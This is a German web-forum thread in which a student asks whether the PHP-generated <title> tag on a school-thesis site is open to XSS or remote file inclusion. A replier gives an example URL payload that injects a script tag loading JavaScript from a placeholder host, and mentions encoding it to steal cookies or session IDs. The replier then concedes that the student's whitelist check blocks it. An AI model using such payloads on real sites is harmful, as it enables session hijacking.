XSS im <title>-Tag?

Hallo zusammen!
Ich arbeite zur Zeit gerade an meiner Maturarbeit und muss jetzt mal noch den Sicherheitsaspekt beschreiben. Ich habe eine Website geschrieben, in der mit PHP unter anderem in einem <title>-Tag mit Parametern aus der URL der Inhalt generiert wird und an einer andren Stelle ein File included wird (ebenfalls mit URL Parametern).
Abgesichert hab ichs schon, mit whitelists und file_exists bei der include Funkion. Aber ich Frage mich, ob im title-Tag überhaupt XSS möglich ist... oder an sonstigen Stellen im Header.
Und was man mit einem "bösartigen" include File von einem andren Server alles anstellen könnte. (wenn das File die endung .php hätte würds ja schon vom fremden Server geparst...)


Code:
if(isset($_GET['tabs']) && in_array($_GET['tabs'], $whitelist))  $folder = $_GET['tabs'];

					else $folder = "home";
					
if(isset($_GET['site']) && in_array($_GET['site'], $whitelist))  $call = $_GET['site'];

					else $call = "home";

...... im header
<title>
<?php
	echo "$folder"; if(isset($_GET['site'])) echo" > $call";
?>
</title>
.....

<div id="content" class="box">
			<?php
		
				
					if(file_exists("./content/$folder/$call.php")) {
					include("./content/$folder/$call.php");
?>
</div>
 
jepp, ich seh ne Möglichkeit.

du lässt die Inhalte, die in der URL eingegeben werden, direkt im <title> ausgeben....

was, wenn ich folgendes mach:
Code:
url?site=</title><script type=text/javascript src=http://meine-url/boeser_code.js></script>

und wenn du so einen Link (meinetwegen den Code noch komplett durch Ascii-Zeichen kodiert, damit es nicht so schnell auffällt...) an jemanden anders weitergibst, der da dann z.B. in nem Cookie ein gespeichertes PW hat oder eine SessionID, dann war die feindliche Übernahme erfolgreich ;-)
 
stimmmt, javascript funktioniert ja auch im title :D danke! Trotzdem wäre ich sicher oder? Das in_array mit der whitelist sollte doch reichen?
 
in Sachen RemoteFileInclusion schon. aber wie gesagt: in Sachen JavaScript-XSS definitiv NICHT.

ich würde die Titel auch aus einem Array nehmen.
z.B. ein assoziatives Array, wo $_GET["site"] der Key ist und der Seiten-Titel steht dann im Wert des Array-Elements
 
das versteh ich jetzt nicht, wie soll denn das gehn? Nehmen wir mal an, wir wollen dieses Javascript in die Ausgabe des Parsers bringen, dazu müsste es ja z.b. in die variable $folder geschrieben werden.


Code:
if(isset($_GET['tabs']) && in_array($_GET['tabs'], $whitelist))  $folder = $_GET['tabs'];

					else $folder = "home";

Aber mit diesem if sollte ich doch sicher sein? Wenn der Parameter aus der URL nicht ein Eintrag aus dem Array $whitelist ist, wird doch false ausgegeben?
 
sorry, mein Fehler. hab nicht mehr an das in_array() gedacht... (spät am Abend, da übersieht man schon ma was...)
hast recht: da wird's schon schwer, anderen Code einzufügen...
 
Zurück
Oben